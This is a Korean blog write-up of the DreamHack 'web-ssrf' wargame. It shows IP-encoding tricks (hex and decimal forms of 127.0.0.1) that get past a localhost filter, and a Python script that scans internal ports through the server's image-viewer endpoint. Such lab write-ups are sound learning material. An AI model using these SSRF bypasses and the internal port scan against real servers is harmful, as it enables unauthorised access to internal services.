DreamHack [web] web-ssrf

2024. 5. 6. 14:48Wargame/dreamhack

320x100
320x100

dreamhack webhacking의 ssrf에서 파생된 워게임이다.

 

 

서버에 접속하면 /home /about /contact 경로가 있다.

 

아래 image viewer를 누르면 해당 화면이 출력된다.

 

view를 클릭하면

dreamhack 이미지가 나오고

소스 코드를 확인해보면 

엄청 긴 base64로 encoding된 소스 코드를 확인할 수 있다.

(밑으로 더 길게 있다,,,)

 

플래그가 있는 경로 /app/flag.txt를 입력하면 해당 화면이 출력된다.

해당 화면에서 출력되는 인코딩형식을 디코딩하면

 

<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

 

 

문제 파일 소스 코드 확인

 

local_host가 127.0.0.1인데 local_port는 1500부터 1800 사이의 숫자 중 랜덤

“127.0.0.1”, “localhost” 팔터링

 

URL 우회

127.0.0.1 == (16진수) 0x7f.0x00.0x00.0x01 == (.제거) 0x7f000001 == (10진수) 2130706433

==>

http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/

 

잘 모르겠어서 dreamhack 해설 확인ㅠㅠ

랜덤한 포트 번호를 찾아야 해서 python 코드를 작성해야 한다고 한다.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
    
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
    
    
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

실행은 해봐야지^^;;

했지만 error가 너무 나네,,,,,

 

1500부터 1800 사이면 노가다 ㄱㄱㅋㅋㅋㅋㅋㅋ

 

우와우.... 운이 좋은건지 초반에 바로 포트를 찾아서 이미지를 얻었다.

확실히 짧아진 인코딩

 

디코딩 사이트

https://www.base64decode.org/ko/

 

진짜 운좋게 노가다로 플래그를 획득했다.

 

파이썬을 실행할 때 tqdm에서 인증서 오류가 났기 때문에 다음에 해결해서 다시 코드 실행해보는걸로!

만약 1700대였으면..... 아찔했다^^;;;;

320x100
320x100

'Wargame > dreamhack' 카테고리의 다른 글

DreamHack [pwnable] bof  (0) 2024.05.06
DreamHack [web] Carve Party  (0) 2024.05.06
DreamHack [web] image-storage  (0) 2024.05.06
DreamHack [misc] blue-whale  (1) 2023.11.16
DreamHack [reversing] rev-basic-0  (0) 2023.10.18